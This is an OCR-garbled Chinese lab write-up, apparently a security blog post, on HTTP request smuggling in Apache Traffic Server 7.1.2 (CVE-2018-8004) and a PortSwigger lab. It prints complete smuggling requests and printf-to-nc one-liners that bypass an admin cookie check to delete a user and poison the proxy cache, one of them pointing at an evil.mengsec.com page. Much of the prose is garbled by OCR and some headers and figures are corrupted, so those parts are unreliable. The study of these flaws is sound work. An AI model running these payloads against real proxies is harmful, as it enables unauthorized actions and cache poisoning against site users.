£ Glthub T EHIRBRIFLLE ATS,

https://github.com/apache/trafficserver/archive/7.1.2.tar.gz

ZREE & EAIA,

install -y autoconf automake libtool pkg-config libmodule-install-perl gcc 1j

RERERED, #HITRE & K&K,

——prefix=/opt/ts-712

install

RETTER, RERBEMBRE,
Y48 records.config BEEEX M, HEXBERIE ATS NEFINEEXRH.

/opt/ts-712/etc/trafficserver/records.config

proxy.config.http.cache.http INT O

proxy.config.reverse_proxy.enabled INT 1
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PP sk BRI BEH—HTIP FREF

proxy.config.url_remap.remap_required INT 1

proxy.config.http.server_ports STRING 80 80:ipv6

“m%E remap.config BoBE XM, FERERMERFIAIINIZER.

/opt/ts-712/etc/trafficserver/remap.config

http://lnmp.mengsec.com/ http://10.211.55.2:10086/

http://ats.mengsec.com/ http://10.211.55.2:10085/

FETERERE—TRSHEEEEN, FATAINERTHRNAMNA—T,
N7 EWIRIGIRSS RV, FAVEREERF ne KRS PRSS[ZEILTEHE.

10.211.55.22

| nc 10.211.55.22 &
HTTP/1.1 200 OP
4@19 14:50:46 GMT

PHP/5.5.9-1ubuntu4.25
; ept-Encoding
Content-Length: 247
nt-Type: text/html

Connection: keep-alive

This is LAM br>array(3) {

2556-0a543-4785-al15e-7cS5bb3ed7b7@] (ApacheTrafficServer/7.]

FIAERIBAIRINANTERIZ] T fRimAY LAMP BRS523 .
BRI, RIERSER5 RN LNMP fRSZFVEEE,

10.211.55.22 80
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HTTPfl.l 200 0K

Server: ATS/7.1.2

Date: Mon, @7 Oct 2019 14:52:15 GMT
Content-Type: text/html
X-Powered-By: PHP/5.5.9-1ubuntu4.25
Age: 20

Transfer-Encoding: chunked
Connection: keep-alive

f5
This is Nginx<brsarray(3) {
["Host"]=>
string(17) "10.211.55.2:10086"
["X-Forwarded-For"]=>
string(11) "10.211.55.2"
["Via"]=>
string(9@) "http/1.1 mengchen-ubuntu[6el102556-a543-4785-al5e-7c5bb3ed7b70] (ApacheTrafficServer/7.1.2)"

4.3 iR
B TN T R ERER

https://github.com/apache/trafficserver/pull/3192 # 3192 IR FEBAMEEHN ESAHEHEST

MR [E] 400 https://github.com/apache/trafficserver/pull/3201 # 3201 =3 [8] 400 $51RAY, 9€|\7ﬂ
B%3% https://github.com/apache/trafficserver/pull/3231 # 3231 J&F15 K H1AY Content-Length 3k
https://github.com/apache/trafficserver/pull/3251 # 3251 HEF P, BZTIERMA

4.3.1 F—1T#T
https://github.com/apache/trafficserver/pull/3192 # 3192 1R FERBMEHEME SR EHEST
JU3&ME] 400

ENBRL ATS IIN1T RFC7230 55 3.2.4 ERISCH,
https://tools.ietf.org/html/rfc7230#section-3.2.4

FEHA, MET HTTP HIEKREF, BERAFERSEENE S 2B EE FR, URGFET
BHFRANIE, RSBLFVIURE 400, MFNT HREIE, £ ATS 7.1.2 1, HZEMNZIFEHIT—F
MRISEI, H ATS RS SBIFRZINIBERPEEERFRS: ZEFESBNFERE, HASXEHT
IR, tASIRER RFC fHERTHRAIFBHEIRE 400 1R, MEBEIREHEHELLEIRRSER.

M [Eim AR 5 83 IR B Xz # 1T RS RY, MBS HTTP EFARTE. LA Nginx

RS2, ERENEKRAFERS §SZEFESISNIEKE, RBEIZIERK, MARIRE 400 iR,

XA, FHATPTAMDIE—MFFRRY HTTP 353K, #H1TER.
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GET / HTTP/1.1

Host: lnmp.mengsec.com

Content-Length : 56

GET / HTTP/1.1
Host: 1lnmp.mengsec.com
attack: 1

foo:

| Go Cancel < | - JE Target http:/ /ats.mengsec.com EJL:J

Request Response

Raw | Params | Headers | Hex Raw I Headers |He>< |

HTTP/1.1 200 OK

GET / HTTP/1.1 A A
Host: lnmp.mengsec.com . Server: ATS/7.1.2 -
Content-Length : 56 k Date: Tue, 08 Oct 2019 03:37:41 GMT
Content-Type: text/html
GET / HITP/1.1 X-Powered-By: PHF/5.5.9-lubuntud.2s
Host: lnmp.mengsec.com Age: 0
attack: 1 Connection: keep-alive
foo: Content-Length: 318

This is Nginx<br>array(5) {
["Host" ] =>

["Attack”]=>
string(l) "1"

"GET / HTTP/1.1"
ed-For' |=>
string(11) "10.211.55.2"
["Via"]=>
string(90) "http/l.1
. mengchen-ubuntu[3££31687d-fa2a-4198-bc9a-0e98786ade62]
(ApacheTrafficServer/7.1.2)"
}
|

REAE, BXREF TEHNEIERS EEMIEPREIRARSS IR TIEKXK.
SRET Wireshark FEVEIEE, ATS 7£5 /Gl Nginx fRSBEBBHTHIREMAETEHR, ERT TCP &

%,
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GET / HTTP/1.1 |
Host: 10.211.55.2:10086

Content-Length : 56

X-Forwarded-For: 10.211.55.2

Via: http/1.1 mengchen-ubuntu[3ff3687d-Ta2a-4198-bc9a-0e98786adc62]
(ApacheTrafficServer/7.1.2)

GET / HTTP/1.1

Host: lnmp.mengsec.com

attack: 1

foo: HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Tue, 08 Oct 2019 03:37:40 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.25

5
This is Nginx<br>array(3) {
["Host"]=>
string(17) "16.211.55.2:10086"
["X-Forwarded-For"]=>
string(11) "10.211.55.2"
[Ilviall ]=>
string(90) "http/1.1 mengchen-ubuntu[3Tf3687d-fa2a-4198-bc9a-0e98786adc62]
(ApacheTrafficServer/7.1.2)"
}

]

GET / HTTP/1.1
Host: 10.211.55.2:10086

Content-Length : 56

X-Forwarded-For: 10.211.55.2

Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62]
(ApacheTrafficServer/7.1.2)

GET / HTTP/1.1

Host: 1lnmp.mengsec.com

attack: 1

foo: HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Tue, B8 Oct 2019 03:37:41 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.25

%igs is Nginx<hr>array(5) { =

Packet 19, 4 clieot piis 2 server pkts, 3 tumns. Click to select. |

' Entire conversation (1,480 bytes) ~ | Show and save data as | ASCIl v | Stream l—,._‘:l

Find: | Hndﬁpxtl
Filter Out This Stream| |  Print || Saveas.. || Back || Close || Help |

RE—TEXR, WEAMR:
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Content-Length :
-Forwarded-For:

: ET / HTTP/1.1
Host: 10.211.55.2:10086

Content-Length : 56

X-Forwarded-For: 10.211.55.2

Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62]
(ApacheTrafficServer/7.1.2)

GET / HTTP/1.1

Host: lnmp.mengsec.com

attack: 1

foo:

PEEZER D NE—TIEK, R TR AEZEK,
EBMNARZRNEKRT, FEISFHEMIERIERL Content-Length : 56, 56 fiEEEHIENKE.,

GET / HTTP/1.1rn
Host: lnmp.mengsec.comrn
attack: 1rn

foo:

HEIIRNARE, TFE m XTEE.

HEABNEKRENA ATS ARS5250T, B ATS BRS523 FJ LAREHT Content-Length : 56 X MHEI1Z7E
BIERK, BIARRMERLZBRMN, ¥R, EENBBEHHEIBXMERN—HD. 20
K&, XTF ATS RSS2, XMERMETEN—TIEK,

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn
Content-Length : 56rn

rn

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn
attack: 1rn

foo:

ATS REIXMEKRZ G, #RYE Host FERAVE, KX MEREBERENNNGEIHRSEE. EXE
&% T Nginx [REZ33 L.

M Nginx ARB2ZTEIBRIZEMUTF X Content-Length : 56 BJIERLAY, FINAER TR, AEBHEH
ZHEIE, BHARIRE 400 FIR, T Nginx K, WEIRIIERRA

il
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GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn
rn

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn
attack: 1rn

foo:

EANRENARERE m, ZHMABSTUET — TR GET ERM— 7RI GET 153K,
"“'§$ZE/]

GET / HTTP/1.1rn
Host: lnmp.mengsec.comrn

rn
RNTEM:

GET / HTTP/1.1rn
Host: lnmp.mengsec.comrn
attack: 1rn

foo:

TEXES, Neinx RBE—MERBNEOME LR ATS RS, AESEEROE-VER
TR TINRL,

M ATS BRI T —MEREIAR, 3T Neinx i, MEHEHHERT RIAKHOIDT5E0E
REMEE, ST

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn
attack: 1rn

foo: GET / HTTP/1.1rn

Host: 10.211.55.2:10086rn
X-Forwarded-For: 10.211.55.2rn

Via: http/1.1 mengchen-ubuntul[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2

ARG Nginx X MIFK BN L %L ATS BRSS28, BRI RRMFTE T attack: 1 F foo:
GET /HTTP/1.1 XA MREN T,
RIEMMTARENE? AIME—T, W3R ATS HFRNE_MNERTZEHANRIENE? 1LFHATR
—T.
BRIRTE Nginx AR 28 FEE—" admin.php, KBRS T:
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<7php

if (isset ($_COOKIE

&& $_COOKIE
echo
if (isset ($_GET

echo

BT HTTP XA S 2 TREHN, REMIGERZ(ER Cookie KAMTAFP NS MNER. BEXTIR
B, BMNTUNEAEEANSMES. EXMFH, EEFZNBERPZEFXT— Cookie FIHEE
Xf admin=1, HHBHERR SN, MAEET GET AVEANEMIREIRF RFR, AEMERIINAAF,

FERTERARIE Y, BIWIEHFIARNIEKRE, AJE Neinx IRSZSF[EVBINEMERIERN £—

MER—EBD .

WIS HEE

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn
Content-Length : 78rn

rn

GET /admin.php?del=mengchen HTTP/1.1rn
Host: lnmp.mengsec.comrn

1rn

attack:

foo:

REREEANERBK

GET / HTTP/1.1
Host: 1nmp.mengsec.com

Cookie: admin=1

iFHAE—TRRWME,
(oo ) cma) (<]

Request

IRaw Params | Headers | Hex

RFE—%, FMEEZAEERM Cookie T,

Rawl Headers IHex i

Target: http://ats.mengsec.com li.l _TJ

GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1

(2

159

HTTP/1.1 200 OK

Server: ATS/7.1.2

Date: Tue, 08 Oct 2019 04:30:38 GMT
Content-Type: text/html
X-Powered-By: PHP/5.5.9-lubuntud.23
Age: 1

Connection: keep-alive
Content-Length: 31

¥You are Admin
del user mengchen

1 3
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£ Wireshark IR EHENEREEN, B NEERAKENIEEEK,

GET / HTTP/1.1

Host: 10.211.55.2:10086

Content-Length : 78

X-Forwarded-For: 10.211.55.2

Via: http/1.1 mengchen-ubuntu[71b6675e-fffa-4a3b-b8d7-9c7af3978974]

(ApacheTrafficServer/7.1.2)

GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.mengsec.com
attack: 1

Host: 10.211.55. 2 160086

X-Forwarded-For: 10.211.55.2
ia: http/1.1 mengchen-ubuntu[ 71b6675e-fffa-4a3b-

(ApacheTrafficServer/7.1.2)

£ Nginx fRS323 EHHERI T E—MEKkAE, BINMIBR 7 FBF mengchen,

432 F-NENT
https://github.com/apache/trafficserver/pull/3201 # 3201 HiR[E] 400 F5iRATS, XHER

XTI T, £ ATS 7.1.2 H, MREKRSHT 400 Fi1R, EIH TCP L AaXH, &
regilero AYXY CVE-2018-8004 BT X EH, 7%EA T AR A X NEEH TR

10.211.55.22 80

—HEBEIZIRTS 2 Mz, #2400 FHiR.
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https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/

BRI BEH—HTIP FREF

$ printf 'GET / HTTP/1.1\r\n'\
'"Host: ats.mengsec.com\r\n'\

"aa: \@bb\r\n'\

'foo: bar\r\n'\

"GET /2333 HTTP/1.1\r\n’\

'"Host: ats.mengsec.com\rin'\
"\rin'\

| nc 10.211.55.22 80

HTTP/1.1 400 Invalid HTTP Request
Date: Wed, @9 Oct 2019 08:10:53 GMT
Connection: keep-alive

Server: ATS/7.1.2

Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220

<HTML>
<HEAD>
<TITLE>Bad Request</TITLE>
</HEAD>

<BODY BGCOLOR="white" FGCOLOR="black">
<H1>Bad Request</H1l>
<HR>

<FONT FACE="Helvetica,Arial"><B>
Description: Could not process this request.
</B></FONT>

<HR>

</BODY>

HTTP/1.@ 400 Invalid HTTP Request
Date: Wed, @9 Oct 20019 08:10:53 GMT
Server: ATS/7.1.2

Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220

<HTML>
<HEAD>
{TITI— E}Bﬂd Request‘{/TITLE} 2 | www.anguanke.com )

ATS TEfEHT HTTP 155KES, ZFREERI NULL, S —TEEMHRIE, HI1RIZNZ—MEK, ST
ATS fR55=83Ki%, B2 MEK,

GET / HTTP/1.1rn
Host: ats.mengsec.comrn

aa:




PP sk MBI BIE—HTIP 5 RER

=N
B

bbrn

foo: barrn

GET /2333 HTTP/1.1rn
Host: ats.mengsec.comrn

rn

E—MEREBITHIRRIBE] T NULL, ATS BRS8N 73— 400 $5i%, EEAI bbr LT /5
HIBERFL, TS HTTP IEKFE, XN 75 1 400 FHiR,
B T T TN

10.211.55.22 80
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$ printf 'GET / HTTP/1.1\r\n'\
'"Host: ats.mengsec.com\r\n'\

"aa: \@bb\r\n'\

"GET /1.html HTTP/1.1\r\n"\
"Host: ats.mengsec.com\r\n'\
"\r\n'\

| nc 10.211.55.22 80

HTTP/1.1 400 Invalid HTTP Request
Date: Wed, @9 Oct 2019 08:16:17 GMT
Connection: keep-alive

Server: ATS/7.1.2

Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220

<HTML>
<HEAD>
<TITLE>Bad Request</TITLE>
</HEAD>

<BODY BGCOLOR="white" FGCOLOR="black">
<H1>Bad Request</H1>
<HR>

<FONT FACE="Helvetica,Arial"><B>
Description: Could not process this request.
</B></FONT>

<HR>

</BODY>

HTTP/1.1 200 OK

Date: Wed, @9 Oct 2019 08:16:17 GMT

Server: ATS/7.1.2

Last-Modified: Mon, @7 Oct 2019 14:30:40 GMT
ETag: "18-59452e5611bc3"

Accept-Ranges: bytes

Content-Length: 24

Content-Type: text/html

Age: @

Connection: keep-alive

{h 1'}Th1 5 -L ) 1 . html {/h l} T2 ( wwwanguanke.com )

— 1400 MR, — 200 MARZ, 7 Wireshark FILEEREI, ATS IEE_MBEREEKRL T [GiH Apache

ARS5 2%,




NG ki] B E—HTIP iEREH

GET /1.html HTTP/1.1

Host: 10.211.55.2:10085

X-Forwarded-For: 10.211.55.2

Via: http/1.1 mengchen-ubuntu[f83b77fc-269e-4fe2-b503-1e876291e0ba]
(ApacheTrafficServer/7.1.2)

HTTP/1.1 200 OK

Date: Wed, 09 Oct 2019 ©8:17:49 GMT

Server: Apache/2.4.7 (Ubuntu)

Last-Modified: Mon, ©7 Oct 2019 14:30:40 GMT
ETag: "18-59452e5611bc3"

Accept-Ranges: bytes

Content-Length: 24

Content-Type: text/html

<h1>This is 1.html</h1>

1 client pkt, 1 server pkt, 1 turn.

as ASCll v | Stream | .

Close || Help

Entire conversation (426 bytes)
10.211.55.2:10085 - 10.211.55.22:46946 (250 bytes)
10.211.55.22:46946 —» 10.211.55.2: 10085 {176 bytes)

ll]l rrmi ||

BLABLMEZRBER—T HITP BERFIWE T,

GET / HTTP/1.1rn

Host: ats.mengsec.comrn
aa: bbrn

GET /1.html HTTP/1.1rn
Host: ats.mengsec.comrn

rn

BEXMERE, EABHEMNENR, HEA) GET /1.html HTTP/1.1rn ANFE HTTP #3845
3Kk Name:Value &R, EIXEHATATLAEA absoluteURI, £ RFC2616 FE 5.12 THIETEMN
EME,

https://tools.ietf.org/html/rfc2616#section-5.1.2

EH

BR,

—\\
=

AT LAME R GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1 FJ3E 3K Sk
MIEEIEE

GET /400 HTTP/1.1rn
Host: ats.mengsec.comrn
aa: bbrn

GET http://ats.mengsec.com/1.html HTTP/1.1rn
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rn
GET /404 HTTP/1.1rn

Host: ats.mengsec.comrn

rn

printf ’GET /400 HTTP/1.1rn’

’Host: ats.mengsec.comrn’

’aa: bbrn’

’GET http://ats.mengsec.com/1.html HTTP/1.1rn’
'rn’

’GET /404 HTTP/1.1rn’

’Host: ats.mengsec.comrn’

'rn’

| nc 10.211.55.22 80
AR LSRR, XD HITPIEK, £—5F

GET /400 HTTP/1.1rn

Host: ats.mengsec.comrn

aa: bbrn

GET http://ats.mengsec.com/1.html HTTP/1.1rn

rn

H ih GET http://ats.mengsec.com/1.html HTTP/1.1 9% 3 GET http, {& JJ//ats.mengsec.com/1.html
HTTP/1.1 B93ERk,
EZMR

GET /404 HTTP/1.1rn
Host: ats.mengsec.comrn

rn

YIZIE KK IELA ATS RE282fE, BATATIKERREI= HTTP ARz, 55— 400, £ 200,
F=NH 404, ZHFEIBMBRNFE ATS P8 IRSZE: 1.html BB RGN
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| nc 1@.211.55.22 8@

HTTP/1.1 48@ Invalid HTTP Request
Date: Wed, 99 Oct 2019 ©8:53:49 GMT
Connection: keep-alive

Server: ATS/7.1.2

Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220

<HTML>

<HEAD>

<TITLE>Bad Request</TITLE>
</HEAD>

<BODY BGCOLOR="white" FGCOLOR="black">
<H1>Bad Request</Hl>
<HR>

<FONT FACE="Helvetica,Arial"><B>
Description: Could not process this request.
</B></FONT>

<HR>

</BODY>

HTTP/1.1 200 OK

Server: ATS/7.1.2

Date: Wed, @9 Oct 2019 @8:53:49 GMT
Content-Type: text/html

Content-Length: 7

Last-Modified: Mon, @7 Oct 2019 16:43:29 GMT
ETag: "5d%b6b31-7"

Accept-Ranges: bytes

Age: @

Connection: keep-alive

123456

HTTP/1.1 404 Not Found

Server: ATS/7.1.2

Date: Wed, @9 Oct 2019 08:53:49 GMT
Content-Type: text/html
Content-Length: 177

Age: @

Connection: keep-alive

<html>

EE® ( www.anguanke.com )

ARHE HTTP Pipepline B9SE NS RN, RIRKEE @ ATS RBBRIETHE—TERIFEK, AEZ
EEM ATS FRBB|RET —NEEIEK, SEFRBMEINIELN, MEfXEE KIENERIFEKRTN
GET http:/evil. mengsec.com/evil.html HTTP/1.1 FRIAE ., XM EHNIEIE EZPTAKINAY, EZEF]
RAFUERXETZT .




PP sk MBI BIE—HTIP 5 RER
SFZREREE RN, ATS REZ2F[EEFET, HiBEF 400 8R0S, KHF) TCP 1%, XHETICFELE
BHAEK, HASXMEMBFIERENT .

4.3.3 B=NHT
https://github.com/apache/trafficserver/pull/3231 # 3231 & IEIE K H Y Content-Length 3k

Ei1Z4NT H, bryancall BY3EARE
HContent-Lengthig Kk R ILHEAY, Mafz400, kR EHBHEE Content-LengthiEKLHVE E8IAR, MRFET

MIZEHATRILARIE, ATS 7.1.2 WrASHR, FHi%BX RFC2616 KITRA#TTSERLH, FA1skiFaI A
#4T CL-TE EFAR .
MIEREK

GET / HTTP/1.1rn

Host: lnmp.mengsec.comrn
Content-Length: 6rn
Transfer-Encoding: chunkedrn
rn

Orn

rn

Z R RIEIGFREEIRTE 405 Not Allowed MR,

[ Target T Proxy I Spider T Scanner T Intruder Tﬂepealer T Sequencer T Decoder ]’Ccmparer ]’ Extender [ Project options T User options T Alerts | Flow

[ole-To-TeT5-To ol

‘ Go | | Cancel | <iv | v Target: http://ats.mengsec.com liJ ;)

Request Response

Raw | Params i Headers | Hex i Raw | Headers | Hex | HTML I Render i

GET [/ HTTP/1.1 HTTP/1.1 405 Mot Allowed

Host: lnmp.mengsec.com : Server: ATS/7.1.2 :
Content-Length: 6 Date: Wed, 09 Det 2019 09:38:11 GMT
Transfer-Encoding: chunked Content-Type: text/html
Content-Length: 181
o Age: 0
Connection: keep-alive
G
<html

ql:an;< it IL>405 Not Allewed</title></head>
L] bgeolor="whita">

anter><hl>405 Not Allowed</hl></center>
r><center»nginx/1.4.6 (Ubuntu)</center>

BATRILAAR, REEMZTERTE Nginx RS2 LA S TR M FFIRANIEK,

GGET / HTTP/1.1rn
Host: lnmp.mengsec.comrn

3T Nginx i, GGET XMIFKAERAFEN, HARIRE 405 RET .
& FREWKET admin.php, #IEIEK
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BRI BIE—HTTP iEREF

GET / HTTP/1.1rn
Host: lnmp.mengsec.comrn
Content-Length: 56rn

rn

GET /admin.php?del=mengchen HTTP/1.1rn

Host: 1lnmp.mengsec.comrn
attack: 1rn

foo:

ZIRIBEKGIX1E T You are not Admin, IBRARZZ23XY admin.php #1T T1EXK,

Co Cancel <lr

Request

Raw | Params | Headers | Hex

Response

! Raw | Headers | Hex

Target: http://ats.mengsec.com l:J L:J

GET / HTTP/1l.1

Host: lnmp.mengsec.com
Content-Length: 83
Transfer-Encoding: chunked

0

GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.mengsec.com

attack: 1

foo:

HTTP/1.1 200 OK

Server: ATS/7.1.2

Date: Wed, 0% Oct 2019 09:51:45 GMT
Content-Type: text/html
X-Powered-By: PHP/5.5.9-lubuntud.25
Age: 0

Connection: keep-alive
Content-Length: 17

-

¥You are not Admin

MRUENEERBRERT, AEBEPR—TWHNER, MEIERA

GET / HTTP/1.1
Host: lnmp.mengsec.com

Cookie: admin=1

BRAT

Burp Intruder Repeater Window Help Param Miner

[ 3

[Targel I Praxy TSpidel l Scanner T intruder T Repeater l Sequencer ] Decoder ] Comparer i Extender I Project options T User options i Alerts I Flow ]

Tl )

Go Cancel

Target: http:/ fats.mengsec.com liJ 'iJ

Request Response

Raw | Params | Headers | Hex Rawl Headers |He>< I
GET / HTTP/1.1 N HTTP/1.1 200 OK 3
Host: lnmp.mengsec.com Server: ATS/7.1.2
Cookie: admin=1 Date: Wed, 09 Oct 2019 09:54:29 GMT

AT LAZ— T Wireshark BITRE,

&

S

R

text/html
PHP/5.5.9-1lubuntud .25

Content-Type:
X-Powered-By:
Age: 0
Connection: keep-alive
Content-Length: 31

You are Admin
del user mengchen

ERIFIEREN,
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GET / HTTP/1.1

Host: 10.211.55.2:10086

Content-Length: 83

Transfer-Encoding: chunked

X-Forwarded-For: 10.211.55.2

Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afch-d857b1467576]
(ApacheTrafficServer/7.1.2)

0

GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.mengsec.com
attack: 1

IX-Forvarded- For 10.211.55.2
ia: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afch-d857b1467576]
(ApacheTrafficServer/7.1.2)

FARCFIREB D MEBERAKIZNIEKR, £ Nginx RSBB|BHFASHANT L—NEKRP, MBEST

GET /admin.php?del=mengchen HTTP/1.1

Host: lnmp.mengsec.com

attack: 1

foo: GET / HTTP/1.1

Host: 10.211.55.2:10086

Cookie: admin=1

X-Forwarded-For: 10.211.55.2

Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675£6] (ApacheTrafficServer/7.1.2

BEHEEEEAM Cookie #H1T T MRAFAVERME, XTSRIE 43.1 PRFAANEEMNEX LH
SEEMERIAY,

4.3.3 BT
https://github.com/apache/trafficserver/pull/3251 # 3251 HEFap Y, BFEIEKME

HINEX T, BREE—KIEE, RIMENIZTEEFEX, E—EHEETIMESL D@, &R
BEEE, T9 B 17 SRR regilero By X E S 7 &05& (5] FAFE M
HEFEDHRZE, ATS REF[EAEIERFA Content-Length 153Kk, LEARIIERIEF IR
ATS S S IMY HTTP ERRLIE, XS T —TIEEBRSFBNERELRE.
TR 2/, ENRIMER ATS BRBLB|BANEFINEEITH, NEAREHIT—TEN, HEK
11T,
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MBI BIE—HTIP 5 RER

/opt/ts-712/etc/trafficserver/records.config

proxy.config.http.cache.http INT 1

proxy.config.http.cache.ignore_client_cc_max_age INT O

proxy.config.http.cache.required_headers INT 1

RIEERRSREIFTER,

AT HEMR, FAE Nginx RiEERTE T —TERBENF1FHRIFIA random_str.php

function randomkeys ($length){
$output=
for ($a = $a<$length; $a++

$output .=
}

return $output

+
echo

echo randomkeys

ISR E

GET /1.html HTTP/1.1rn

Host: lnmp.mengsec.comrn
Cache-control: max-age=10rn
Content-Length: 56rn

n

GET /random_str.php HTTP/1.1rn
Host: lnmp.mengsec.comrn

rn

E—IRIEK
Gu] <|v |

Request

_I Raw | Params | Headers THex i

{

1 kAR,
iﬁisjzé;:ﬁiT:

Target: http:/ fats.mengsec.com dj ;J

Response

| Raw | Headers | Hex

GET /1l.html HTTP/1.1
Host: lnmp.mengsec.com
Cache-control: max-age=10
Content-Length: 56

GET /random_str.php HTTE/1.1
Host: lnmp.mengsec.com

170

v,l

HTTP/1.1 200 OK

server: ATS/7.1.2

Date: Wed, 09 Oct 2019 14:22:30 GMT
Content-Type: text/html

Content-Length: 20

Last-Modified: Wed, 09 Oct 201% 08:56:38 GMT
hccept-Ranges: bytes

Etag: "5d%dalcé-14"

Age: 0

Connection: keep-alive

This is LNMP/1.html

T




12.5

12.5.1

b yax iy MBI BIE—HTIP 5 RER

BIRIEK

Cance < v > |* : g 2 2| 12
Go J Target: http:/ /ats.mengsec.com l_J 2

Request Response

ikaw Params | Headers IHex I Raw ] Headers |He>< i
GET /l.html HTTR/1l.1 i HTTP/1.1 200 OK &
Host: lnmp.mengsec.com " Server: ATS/7.1.2 -
Cache-control: max-age=10 Date: Wed, 0% Dct 2019 14:22:50 GMT
Content-Length: 56 Content-Type: text/html

Content-Length: 20

GET /random_str.php HTTP/1.1 Last-Modified: wWed, 09 Oct 2019 08:56:38 GMT
Host: lnmp.mengsec.com Accept-Ranges: bytes

Etag: "5d9%dalcé-14"
Age: 2
Connection: keep-alive

This is LNMP/1.html

HTTP/1.1 200 OK

Server: ATS/7.1.2

Date: Wed, 09 Oct 2019 14:22:52 GMT
Content-Type: text/html
X-Powered-By: PHP/5.5.9-lubuntu4d.25
hge: 0

Transfer-Encoding: chunked
Connection: keep-alive

1b
get random string: ,v<|zImg

FIMEER|, SEFaPN, BREPEEZR T T—TEKR, FEMRINIRE T,

GET /random_str.php HTTP/1.1rn
Host: lnmp.mengsec.comrn

rn

MEREEMNERP, AENERLHERE RFC FITEHN, XMEBWRE, £ ATS BiAAERSEE,
BRIA 8L T RFC dnfE, tBITRE RIZBEL T AN EMA ISR,
ATS EERELEHBER, SEFoPN, EBMEREBEME T .

5. EAhI 5L

#HEH, BEeKLE3 TAEMRIERSRESHT4N HTTP 5 XEFRE, tERINELT FEH
HTTP B REFMX—REFERHATRIELT, BEEREMIAUNZEIXLE, 7 PortSwigger Hiz{it 7 F
F HTTP B8R EFMKERL, ATNRERERT,

5.1 G AlimARS RAR 2T

EXTMEFER, RimRSHEARTIMNLERE, REEATIERT ERAGEIRRSE, ME
IR SR T KA BERIRIRS /L LI RNEEIER, I MEREFTIN , ELLFATI AT
HTTP i5KER, BRERENIEKENLEIHRRSRFRENN, EXBEERIER, D3I=2ERA
CL-TE #l TE-CL & BilimAYIh )=,

5.1.1 {€/ CL-TE S AllRARSZ AR R 2124
Lab 1t © https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-
te

SLHRY Ex 22 B RYZIREX admin FXPRHMIFRAF carlos

HATE & A)/admin, &IR[E$Z/R Path /admin is blocked, B FE#WAIIRARSZZFELET, BIES
BRI CL-TE, FAIRIARIAAIEIEE
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NG ki]

BRI BIE—HTTP iEREF

POST / HTTP/1.1
Host:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14;

Accept: text/html,application/xhtml+xml,application/xml;q=0

Accept-Language: en-US,en;q=0.5
Cookie: session=Iegl004SGnwldd1lFQzxduQdt8NwqWsKI
Content-Length: 38

Transfer-Encoding: chunked

GET /admin HTTP/1.1

aclb1f991edef1£1802323bc00e10084 .web-security-academy.net

rv:56.0) Gecko/20100101 Firefox/56.0
.9,*/%;q=0.8

foo: bar
HTSRERZE, BTSSR EROIN
HITZRIERZE, BATAIERGERT ERNEKREIBE
Go Cancel < v v Target https://ac1b1f991edef1f1802323bc00e10084.web-security-academy.net lij sz
Request Response
Raw | Params Headers | Hex Raw | Headers | Hex | HTML Tkender ]
POST / HTTP/1.1 i in a
Host: aclblf99ledeflf1802323bc00el0084 . .web-security-academy.net " grc="/resources/images/logoAcademy.svg"> .
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.14; <div class="title-container”>
rv:56.0) Gecko/ /20100101 Firefox/56.0 <hZ>Exploiting HTTP request smuggling
Accept: to bypass front-end security controls, CL.TE vulnerability</hi>
text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8 <p id="hint">Delete the user
Accept-Language: en-US,en;g=0.5 'ecarlos'</p>
Cookie: session=IleglOC4sSGnwlddlFQzxduQdtNwgWsKI <a class="link-back”
Content-Length: 38 href="https://portswigger.net/web-security/request-smuggling/exp
Transfer-Encoding: chunked loiting/lab-bypass—-front-end-controls-cl-te">
Back to lab description
] <s5vyg wersion="1.1" id="Layer 1"
xmlns="http://www.w3.org/2000/svg"
GET /admin HTTP/1.1 xmlns:xlink="http://www.w3.0rg/1999/xlink” x="0px" y="0px"
foo: bar viewBox="0 0 28 30" enable-background="new 0 0 28 30"
xml:space="preserve" title="back-arrow">
I <g> B
<polygen points="1.4,0
0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon>
<polygon points="14.3,0
12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15"></polygon>
</g>
</svg>
</a>
</div>
<div class="widgetcontainer-lab-status
is-notsolved">
<span>LAB</span>
<p>Not solved</p>
<span class="lab-status-icon"></span>
<fdiv>
</div>
</section>
</div>
<section class="maincontainer™>
div class="contaiger je_page">
Admin interface only available if logged in
as an administrator, or if requested as localhost
o
</section>
</div>
</body>
</html>
L 4
v v
\\
RRRAEUNEE R SMIBRISEEASE R PIiAE)/admin $20.

ETAENMBEXRD, HRI— Host: localhost 153Kk, AREHH

I|\\

ANEPARR, AT INIAIE] T admin SR E , tHEDE T 2@ MR — TR,

HITIEK,
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NG ki]

